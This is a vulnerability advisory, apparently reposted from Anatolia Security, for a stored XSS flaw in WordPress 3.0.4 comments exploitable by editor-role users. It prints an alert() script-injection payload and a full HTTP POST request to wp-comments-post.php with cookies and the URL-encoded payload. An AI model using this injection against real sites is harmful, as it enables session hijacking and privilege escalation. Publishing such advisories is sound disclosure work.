WordPress 3.0.4 storage-type XSS

WordPress is a popular blog platform developed in PHP. WordPress 3.0.4 has a stored XSS vulnerability when processing comments. Successful exploitation of this vulnerability may cause session information leakage, which may lead to permission elevation. In addition, common user permissions are required to exploit this vulnerability.

[+] Info:
~~~~~~~~~
+ Title: Wordpress 3.0.4 Stored XSS (Role: Editor)
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-005.txt
+ Advisory ID: 2010-005
+ Versions: Wordpress 3.0.4, 3.0.3 (maybe earlies versions)
+ Date: 30/12/2010
+ Vendor: WordPress Blog Tool and Publishing Platform
+ Impact: Execute Malicious Javascript Codes
+ CWE-ID: 79 (Cross-site Scripting)
+ Credit: Anatolia Security
+ Author: Sir-sir [at] anatoliasecurity [dot] com
 
[+] Poc:
~~~~~~~~~
+ Description: Attackers can execute malicous javascript codes or hijacking SESSION for privilege escalation. The attacker has to be the authority of the editor.

Screenshot: http://img3.imageshack.us/img3/1148/wordpressx.png
PoC: "--> </style> </script> <script> alert (XSS) </script>

POST http://localhost/wordpress304/wp-comments-post.php http/1.1
Host: localhost
Connection: keep-alive
Referer: http: // localhost/wordpress304 /? Page_id = 2
Content-Length: 189
Cache-Control: max-age = 0
Origin: http: // localhost
Content-Type: application/x-www-form-urlencoded
Accept: application/xml, application/xhtml + xml, text/html; q = 0.9, text/plain; q = 0.8, image/png, */*; q = 0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.20.safari/534.10
Accept-Encoding: gzip, deflate, sdch
Accept-Language: tr-TR, tr; q = 0.8, en-US; q = 0.6, en; q = 0.4
Accept-Charset: ISO-8859-9, UTF-8; q = 0.7, *; q = 0.3
Cookie: wp-settings-time-1 = 1293719651; wordpress_test_cookie = WP + Cookie + check; response = editor % 7C1293893085% 7C1b3f84f58059c0fcf262ef1bb83635c2; wp-settings-time-3 = 1293720285

Comment = % 27% 22 -- % 3E % 3C % 2 Fstyle % 3E % 3C % 2 Fscript % 3E % 3 Cscript % 3 Ealert % 28% 27XSS % 27% 3C % 2 Fscript % 3E & submit = Post + Comment & comment_post_ID = 2 & comment_parent = 0 & _ wp_unfiltered_html_comment = 7741b495eb

[+] Reference:
~~~~~~~~~
Http://www.exploit-db.com/exploits/15867